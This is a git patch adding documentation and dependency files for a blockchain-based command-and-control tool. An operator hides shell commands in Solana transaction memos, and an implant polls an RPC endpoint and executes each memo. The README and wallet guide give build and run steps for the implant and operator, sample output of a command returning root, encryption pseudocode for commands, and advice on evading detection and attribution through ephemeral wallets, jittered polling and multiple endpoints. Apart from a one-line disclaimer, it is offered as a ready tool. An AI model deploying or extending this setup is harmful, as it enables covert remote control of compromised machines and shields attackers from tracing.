From 77dfbf1eeff2566c4b4b24c9cd71b36fa0be1e21 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Mon, 8 Jun 2026 05:52:45 +0000 Subject: [PATCH] Upload files to "c2_blockchain_memo" --- c2_blockchain_memo/README.md | 293 +++++++++++++++++++++++++++++ c2_blockchain_memo/SETUP_WALLET.md | 264 ++++++++++++++++++++++++++ c2_blockchain_memo/go.mod | 35 ++++ c2_blockchain_memo/go.sum | 143 ++++++++++++++ 4 files changed, 735 insertions(+) create mode 100644 c2_blockchain_memo/README.md create mode 100644 c2_blockchain_memo/SETUP_WALLET.md create mode 100644 c2_blockchain_memo/go.mod create mode 100644 c2_blockchain_memo/go.sum diff --git a/c2_blockchain_memo/README.md b/c2_blockchain_memo/README.md new file mode 100644 index 0000000..cb04f22 --- /dev/null +++ b/c2_blockchain_memo/README.md @@ -0,0 +1,293 @@ +# ๐Ÿ•ถ๏ธ C2 Blockchain Memo + +**Command & Control via Solana Transaction Memo Fields** + +No C2 server. No proxy. No domain. Just the blockchain. + +Commands are embedded in Solana transaction memos using the [Memo Program](https://spl.solana.com/memo). +Every transaction is public on-chain โ€” **undetectable as C2 traffic**. Blocking it would +require blocking all Solana RPC traffic, which would break the entire Solana ecosystem. + +``` +โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” Solana Transaction โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” +โ”‚ Operator โ”œโ”€โ”€โ”€โ”€ (transfer + memo) โ”€โ”€โ”€โ”€โ†’โ”‚ Implant โ”‚ +โ”‚ (server) โ”‚ 1 lamport + command โ”‚ (client) โ”‚ +โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”˜ + โ”‚ + Executes command + via os.exec() +``` + +--- + +## How It Works + +### The Chain as C2 Channel + +1. **Operator** sends a standard Solana transaction containing: + - A **1-lamport SOL transfer** to the implant's wallet (creates an on-chain link) + - A **Memo Program instruction** with the shell command as memo text + +2. **Implant** polls the Solana RPC endpoint for `getSignaturesForAddress` on its own + wallet address, extracts the memo text from each incoming transaction, and executes + it as a shell command. + +3. **No infrastructure.** The "server" is just building transactions. The "network" is + the Solana blockchain. There's no IP address, no domain, no certificate, no proxy to + block. + +### Cost + +- **Devnet/Testnet:** Free (faucet SOL, no real money) +- **Mainnet:** ~0.000005 SOL per command (~$0.001 at current prices) + +--- + +## Build + +```bash +# Clone or cd into the project +cd c2-suite/c2-blockchain-memo + +# Build both binaries +go build -o bin/server ./cmd/server +go build -o bin/client ./cmd/client + +# Binaries are in ./bin/ +``` + +### Dependencies + +- Go 1.24+ +- `github.com/gagliardetto/solana-go` (Solana Go SDK) + +Everything is handled by `go mod tidy`. No manual dependency management needed. + +--- + +## Quick Start (Devnet, Free) + +### 1. Set up wallets + +See **[SETUP_WALLET.md](./SETUP_WALLET.md)** for detailed instructions. The TL;DR: + +```bash +# Install Solana CLI +sh -c "$(curl -sSfL https://release.anza.xyz/stable)" + +# Generate operator wallet +solana-keygen new --outfile operator.json + +# Generate implant wallet +solana-keygen new --outfile implant.json + +# Get free devnet SOL +solana config set --url devnet +solana airdrop 2 +``` + +### 2. Start the implant + +```bash +./bin/client --keypair implant.json --rpc devnet --interval 15 +``` + +You'll see: +``` +๐Ÿ”ญ Watching address: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz +๐Ÿ”— RPC endpoint: https://api.devnet.solana.com +โฑ Poll interval: 15s (with ยฑ50% jitter) + +โ”โ”โ” C2 Blockchain Memo โ€” Implant โ”€โ”โ” +Listening for commands... Press Ctrl+C to stop. +``` + +### 3. Send a command (in another terminal) + +```bash +./bin/server --keypair operator.json --rpc devnet +``` + +Then in the interactive shell: +``` +โ€บ send whoami + Command sent! + Signature: 5KtPn...xyz + Explorer: https://solscan.io/tx/5KtPn...xyz?cluster=devnet + Command: "whoami" + Implant: 7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz +``` + +The implant will receive the command within the next poll cycle: +``` + New command from tx 5KtPn...xyz: + Command: whoami + Output: +root +``` + +--- + +## Usage Reference + +### Server (Operator) + +``` +./bin/server [flags] + +Flags: + --keypair string Path to operator keypair (Solana CLI JSON array or base58) + --rpc string RPC endpoint: mainnet-beta, devnet, testnet, or custom URL + (default: "devnet") +``` + +**Interactive commands:** + +| Command | Description | +|---------|-------------| +| `send
` | Send a shell command to an implant | +| `balance` | Check operator wallet SOL balance | +| `quit` | Exit | + +### Client (Implant) + +``` +./bin/client [flags] + +Flags: + --address string Wallet address to watch (alternative to --keypair) + --keypair string Path to implant keypair (uses its public key as watch address) + --rpc string RPC endpoint (default: "devnet") + --interval int Polling interval in seconds (default: 15) + --limit int Max transactions to fetch per poll (default: 10) +``` + +**You must provide either `--address` or `--keypair`.** + +The implant: +1. Polls the RPC endpoint for incoming transactions to its address +2. Extracts memo text from each transaction (using the `memo` field in + `getSignaturesForAddress` โ€” built into Solana runtime) +3. Executes the memo text as a shell command +4. Tracks seen signatures to avoid re-execution + +--- + +## Architecture Details + +### How the Memo Field Works + +Solana's Memo Program (`MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr`) allows any +transaction to include an arbitrary text message. The memo is: + +- **Public** โ€” anyone can read it on-chain +- **Permanent** โ€” lives in the ledger forever +- **Cheap** โ€” costs the same as any other instruction +- **Unblockable** โ€” can't distinguish from legitimate Memo Program usage + +### Transaction Structure + +Each command transaction contains two instructions: + +1. **System Program: Transfer** โ€” sends 1 lamport from operator โ†’ implant + - Creates a detectable on-chain link to the implant's address + - The implant's `getSignaturesForAddress` picks this up + - 1 lamport is the smallest unit (0.000000001 SOL) + +2. **Memo Program: Memo** โ€” contains the command text + - The Solana runtime automatically includes the memo text in + `getSignaturesForAddress` response (`memo` field) + - No need to fetch the full transaction to read the command + +### Why This is Undetectable as C2 + +- **No C2 infrastructure** โ€” no domains, IPs, certificates, or hosting to discover +- **Blends with normal traffic** โ€” millions of Solana transactions include memos daily + (DeFi notes, NFT metadata, DEX tags) +- **No pattern to detect** โ€” polling an RPC endpoint looks like any other dApp or wallet +- **Cannot block without collateral damage** โ€” blocking `api.mainnet-beta.solana.com` + would break the entire Solana ecosystem + +### OpSec Notes + +- **Memo is public plaintext.** Anyone can read commands on-chain via Solscan or any + block explorer. For sensitive commands, encrypt the memo payload (e.g., XOR with a + pre-shared key, or use a proper AEAD cipher). The implant would decrypt before executing. + +- **Wallet fingerprinting.** An operator who always uses the same wallet creates a + detectable signature pattern. For operational security, use ephemeral operator wallets + funded from a central wallet. + +- **Polling frequency.** Default 15s with jitter balances responsiveness and stealth. + Sub-second polling to a single RPC is detectable. Use multiple RPC endpoints for + higher-frequency polling. + +- **Transaction volume.** If you send 10,000 commands from one wallet, that's a pattern. + Rotate operator wallets. + +--- + +## Comparison: Solana vs Ethereum for Blockchain C2 + +| Feature | Solana (this project) | Ethereum | +|---------|----------------------|----------| +| Tx cost | ~$0.001 | ~$1โ€“$50 (gas) | +| Speed | ~400ms finality | ~12s block time | +| Memo built-in | Yes (Memo Program) | No (requires contract) | +| RPC rate limits | More permissive | Tighter | +| Faucet availability | Easy (devnet) | Easy (testnet) | +| Go SDK quality | Mature (solana-go) | Mature (go-ethereum) | +| Stealth | High (natural memo usage) | High (calldata) | + +**Solana wins on cost and speed.** Ethereum contract storage costs are prohibitive +for a C2 channel. Solana transactions cost fractions of a cent. + +--- + +## Encryption Example (AES-GCM) + +For production use, encrypt commands before sending: + +**Server-side (before sending):** +```go +// Pseudocode โ€” use a proper key management scheme +plaintext := []byte(command) +ciphertext, _ := aesgcm.Seal(nil, nonce, plaintext, nil) +// Send base64(ciphertext + nonce) as the memo +``` + +**Client-side (after receiving):** +```go +ciphertext := base64.StdEncoding.DecodeString(memo) +plaintext, _ := aesgcm.Open(nil, ciphertext[:12], ciphertext[12:], nil) +executeCommand(string(plaintext)) +``` + +The Solana chain is public. **Encrypt everything in production.** + +--- + +## FAQ + +**Q: Do I need crypto knowledge?** +A: No. Follow [SETUP_WALLET.md](./SETUP_WALLET.md). Devnet is free. + +**Q: Can this be traced back to me?** +A: Your operator wallet on-chain activity is public. Use ephemeral wallets. + +**Q: What if the RPC endpoint goes down?** +A: Use multiple RPC endpoints (QuickNode, Helius, public RPC pool). The implant +supports custom `--rpc` URLs. + +**Q: Can I run this on mainnet with real SOL?** +A: Yes. Cost is ~$0.001 per command. But don't use it for illegal purposes. + +**Q: How fast can commands be delivered?** +A: Solana confirms in ~400ms. Polling adds latency: default 15s with jitter. For faster +delivery, use --interval 2 (2s) with multiple RPC endpoints. + +--- + +## DISCLAIMER + +For authorized Security Testing or Educational Purposes only. diff --git a/c2_blockchain_memo/SETUP_WALLET.md b/c2_blockchain_memo/SETUP_WALLET.md new file mode 100644 index 0000000..ab0c5e5 --- /dev/null +++ b/c2_blockchain_memo/SETUP_WALLET.md @@ -0,0 +1,264 @@ +# SETUP_WALLET.md โ€” Solana Wallet Setup for C2 Blockchain Memo + +This guide walks you through EVERYTHING needed to get Solana wallets set up for the C2 +blockchain memo system. **Zero crypto knowledge assumed.** No real money needed. + +--- + +## Table of Contents + +- [1. Install Solana CLI Tools](#1-install-solana-cli-tools) +- [2. Generate a Wallet (Keypair)](#2-generate-a-wallet-keypair) +- [3. Get Free Devnet SOL (Faucet)](#3-get-free-devnet-sol-faucet) +- [4. Check Your Balance](#4-check-your-balance) +- [5. Find Your Wallet Address](#5-find-your-wallet-address) +- [6. Generate a Wallet Without Solana CLI (Pure OpenSSL)](#6-generate-a-wallet-without-solana-cli-pure-openssl) +- [7. Wallet File Format Explained](#7-wallet-file-format-explained) +- [8. Security Notes](#8-security-notes) + +--- + +## 1. Install Solana CLI Tools + +The Solana CLI is needed for keypair generation and faucet access. It's one command: + +```bash +sh -c "$(curl -sSfL https://release.anza.xyz/stable)" +``` + +This installs the `solana` command (maintained by Anza, the core Solana dev team). + +**Verify installation:** + +```bash +solana --version +``` + +Expected output: `solana-cli 2.x.x` + +> **What about the old Solana Labs CLI?** The old `solana-cli` from Solana Labs is being +> replaced by the Anza distribution. Both work. The command above gets you the current +> standard one. + +--- + +## 2. Generate a Wallet (Keypair) + +A Solana wallet is just a **random 64-byte private key** + a **32-byte public key** derived +from it. The keypair file is what the server and client use to sign. + +**Generate a keypair:** + +```bash +solana-keygen new --outfile ~/.config/solota/operator.json +``` + +You'll be prompted for a passphrase. **You can just press Enter for no passphrase** (fine +for testing). + +This creates a JSON file containing the raw bytes of your keypair as a JSON integer array: + +```json +[12, 34, 56, 78, 91, ... 64 numbers total ...] +``` + +**Generate a second keypair for the implant (different wallet):** + +```bash +solana-keygen new --outfile ~/.config/solota/implant.json +``` + +> **Protip:** Store both keypairs somewhere safe. The private key is the WHOLE file. +> Anyone with this file controls the wallet. + +--- + +## 3. Get Free Devnet SOL (Faucet) + +You need a tiny amount of SOL to pay transaction fees. On **devnet** (test network), it's +completely free. + +### Method A: Solana CLI Airdrop (easiest) + +```bash +# Switch to devnet +solana config set --url devnet + +# Get 2 free SOL +solana airdrop 2 +``` + +**If that fails** with "transaction unavailable" or similar (faucets rate-limit), try: + +```bash +# Smaller amounts often work +solana airdrop 1 +solana airdrop 1 +solana airdrop 0.5 +``` + +### Method B: Web Faucets + +If the CLI faucet doesn't work, use a web faucet: + +1. **Solana Devnet Faucet (official):** + - Open: + - Select **Devnet** + - Paste your wallet address (see [ยง5](#5-find-your-wallet-address)) + - Click "Confirm Airdrop" + +2. **QuickNode Faucet (backup):** + - + +3. **Sol Faucet (backup):** + - + +### How much SOL do you need? + +- Each memo transaction costs ~**0.000005 SOL** (half a cent on mainnet, free on devnet) +- With 1 SOL you can send **200,000 commands** +- 2 SOL from a single airdrop is basically infinite for testing + +### Devnet vs Mainnet Costs + +| Network | Cost per memo tx | Source of SOL | +|---------|------------------|---------------| +| devnet | Free (faucet) | Free faucet | +| testnet | Free (faucet) | Free faucet | +| mainnet | ~0.000005 SOL (~$0.001) | Buy from exchange | + +**For testing, use devnet. You don't need real money.** + +--- + +## 4. Check Your Balance + +```bash +solana balance --url devnet +``` + +Should show something like `2 SOL` after the airdrop. + +--- + +## 5. Find Your Wallet Address + +```bash +solana-keygen pubkey ~/.config/solota/operator.json +``` + +This prints the **base58 address** (starts with a number or letter, ~44 characters). +Example: `7q6MgewGQzr3JwjJ8m7TzLfhTQAQScoXCaxzeNy9btRz` + +You can also get it from the keypair file directly: + +```bash +cat ~/.config/solota/operator.json | solana-keygen pubkey +``` + +**This address is PUBLIC.** It's safe to share โ€” it's how people send you SOL and how +the C2 implant identifies which transactions to watch. + +--- + +## 6. Generate a Wallet Without Solana CLI (Pure OpenSSL) + +If you can't or won't install the Solana CLI, you can generate a wallet using just OpenSSL +and base58 encoding. This requires the base58 tool (`pip install base58` or use Python). + +```bash +# 1. Generate 32 random bytes (the private key seed) +openssl rand -hex 32 > private-key.hex + +# 2. Convert to raw bytes +xxd -r -p private-key.hex > private-key.bin + +# 3. Create the Solana keypair JSON file (64 bytes: seed + derived pubkey) +# We need a Python one-liner for the Ed25519 key derivation: +python3 -c " +import json +from hashlib import sha512 + +# Read the seed (32 bytes) +with open('private-key.hex') as f: + seed = bytes.fromhex(f.read().strip()) + +# Ed25519 key expansion (simplified โ€” in production use ed25519 lib) +# For the Solana CLI format, we need the full 64-byte keypair. +# The simplest approach: just install solana CLI for keygen. +# OR use Python's ed25519: +import nacl.bindings as nb + +seed_bytes = seed +pk = nb.crypto_sign_seed_keypair(seed_bytes)[0] +keypair = list(seed_bytes + pk) + +with open('operator.json', 'w') as f: + json.dump(keypair, f) +print('operator.json created') +" +``` + +> **Honest advice:** Just install the Solana CLI. It's one command (`curl ... | sh`), +> it handles key derivation correctly, and the keypair file format is exactly what this +> C2 system expects. The OpenSSL method is shown here for understanding, not because +> it's easier. + +--- + +## 7. Wallet File Format Explained + +The Solana CLI creates keypair files in this format: + +```json +[157,75,198,234,182,43,173,167,208,19,22,127,239,230,14,99,44,135,102,226,237,142,39,156,72,86,169,196,139,161,244,15,33,157,174,179,215,156,10,3,126,196,247,70,16,106,99,210,212,203,227,170,11,111,209,62,39,154,230,143,147,50,77,174] +``` + +- **Bytes 0โ€“31** (first 32): The **private key seed** (keep secret!) +- **Bytes 32โ€“63** (last 32): The **public key** (derived from the seed) + +Both the `--keypair` flag in the server and the `--keypair` flag in the client accept +this JSON array format AND the base58-encoded private key format. + +--- + +## 8. Security Notes + +- **The keypair file IS the private key.** Protect it like a password. +- **For production C2:** Use a dedicated wallet with only enough SOL for a few hundred + transactions. Top it up periodically. +- **For devnet testing:** Never use a mainnet wallet. Devnet SOL is free and infinite. +- **The chain is public.** Everyone can see the memo text. Don't send credentials or + secrets as commands (or encrypt them first โ€” see README for encryption notes). +- **The implant wallet address is public** by design โ€” anyone can send it transactions. + The C2 relies on the fact that only the operator knows which address is an implant. + +--- + +## Quick Start (TL;DR) + +```bash +# 1. Install Solana CLI +sh -c "$(curl -sSfL https://release.anza.xyz/stable)" + +# 2. Generate operator wallet +solana-keygen new --outfile ~/.config/solota/operator.json + +# 3. Generate implant wallet +solana-keygen new --outfile ~/.config/solota/implant.json + +# 4. Get free devnet SOL +solana config set --url devnet +solana airdrop 2 + +# 5. Note the addresses +echo "Operator: $(solana-keygen pubkey ~/.config/solota/operator.json)" +echo "Implant: $(solana-keygen pubkey ~/.config/solota/implant.json)" + +# 6. Start the implant (watches its own address) +./bin/client --keypair ~/.config/solota/implant.json --rpc devnet + +# 7. In another terminal, send a command +./bin/server --keypair ~/.config/solota/operator.json --rpc devnet +> send whoami +``` diff --git a/c2_blockchain_memo/go.mod b/c2_blockchain_memo/go.mod new file mode 100644 index 0000000..bbf67a6 --- /dev/null +++ b/c2_blockchain_memo/go.mod @@ -0,0 +1,35 @@ +module c2-blockchain-memo + +go 1.26 + +require github.com/gagliardetto/solana-go v1.16.0 + +require ( + filippo.io/edwards25519 v1.1.0 // indirect + github.com/benbjohnson/clock v1.3.5 // indirect + github.com/blendle/zapdriver v1.3.1 // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/fatih/color v1.18.0 // indirect + github.com/gagliardetto/binary v0.8.0 // indirect + github.com/gagliardetto/treeout v0.1.4 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/compress v1.18.0 // indirect + github.com/logrusorgru/aurora v2.0.3+incompatible // indirect + github.com/mattn/go-colorable v0.1.14 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mitchellh/go-testing-interface v1.14.1 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 // indirect + github.com/mr-tron/base58 v1.2.0 // indirect + github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e // indirect + go.mongodb.org/mongo-driver v1.17.3 // indirect + go.uber.org/multierr v1.11.0 // indirect + go.uber.org/ratelimit v0.3.1 // indirect + go.uber.org/zap v1.27.0 // indirect + golang.org/x/crypto v0.47.0 // indirect + golang.org/x/sys v0.40.0 // indirect + golang.org/x/term v0.39.0 // indirect + golang.org/x/time v0.11.0 // indirect +) diff --git a/c2_blockchain_memo/go.sum b/c2_blockchain_memo/go.sum new file mode 100644 index 0000000..e36d4b1 --- /dev/null +++ b/c2_blockchain_memo/go.sum @@ -0,0 +1,143 @@ +filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= +filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= +github.com/AlekSi/pointer v1.2.0 h1:glcy/gc4h8HnG2Z3ZECSzZ1IX1x2JxRVuDzaJwQE0+w= +github.com/AlekSi/pointer v1.2.0/go.mod h1:gZGfd3dpW4vEc/UlyfKKi1roIqcCgwOIvb0tSNSBle0= +github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= +github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o= +github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= +github.com/blendle/zapdriver v1.3.1 h1:C3dydBOWYRiOk+B8X9IVZ5IOe+7cl+tGOexN4QqHfpE= +github.com/blendle/zapdriver v1.3.1/go.mod h1:mdXfREi6u5MArG4j9fewC+FGnXaBR+T4Ox4J2u4eHCc= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= +github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= +github.com/gagliardetto/binary v0.8.0 h1:U9ahc45v9HW0d15LoN++vIXSJyqR/pWw8DDlhd7zvxg= +github.com/gagliardetto/binary v0.8.0/go.mod h1:2tfj51g5o9dnvsc+fL3Jxr22MuWzYXwx9wEoN0XQ7/c= +github.com/gagliardetto/gofuzz v1.2.2 h1:XL/8qDMzcgvR4+CyRQW9UGdwPRPMHVJfqQ/uMvSUuQw= +github.com/gagliardetto/gofuzz v1.2.2/go.mod h1:bkH/3hYLZrMLbfYWA0pWzXmi5TTRZnu4pMGZBkqMKvY= +github.com/gagliardetto/solana-go v1.16.0 h1:lRPn/NxVmxzXw+vQ3AxH33jQIvj8avx2CKVFsvUhRsY= +github.com/gagliardetto/solana-go v1.16.0/go.mod h1:2n7osXNoDeUhq1r1lOgCMVkl90yYUVrV9FHGINBWPHU= +github.com/gagliardetto/treeout v0.1.4 h1:ozeYerrLCmCubo1TcIjFiOWTTGteOOHND1twdFpgwaw= +github.com/gagliardetto/treeout v0.1.4/go.mod h1:loUefvXTrlRG5rYmJmExNryyBRh8f89VZhmMOyCyqok= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs= +github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo= +github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= +github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= +github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= +github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= +github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1 h1:mPMvm6X6tf4w8y7j9YIt6V9jfWhL6QlbEc7CCmeQlWk= +github.com/mostynb/zstdpool-freelist v0.0.0-20201229113212-927304c0c3b1/go.mod h1:ye2e/VUEtE2BHE+G/QcKkcLQVAEJoYRFj5VUOQatCRE= +github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o= +github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc= +github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE= +github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8= +github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= +github.com/streamingfast/logging v0.0.0-20230608130331-f22c91403091/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU= +github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e h1:qGVGDR2/bXLyR498un1hvhDQPUJ/m14JBRTJz+c67Bc= +github.com/streamingfast/logging v0.0.0-20250404134358-92b15d2fbd2e/go.mod h1:VlduQ80JcGJSargkRU4Sg9Xo63wZD/l8A5NC/Uo1/uU= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/test-go/testify v1.1.4 h1:Tf9lntrKUMHiXQ07qBScBTSA0dhYQlu83hswqelv1iE= +github.com/test-go/testify v1.1.4/go.mod h1:rH7cfJo/47vWGdi4GPj16x3/t1xGOj2YxzmNQzk2ghU= +github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ= +go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= +go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= +go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0= +go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.21.0/go.mod 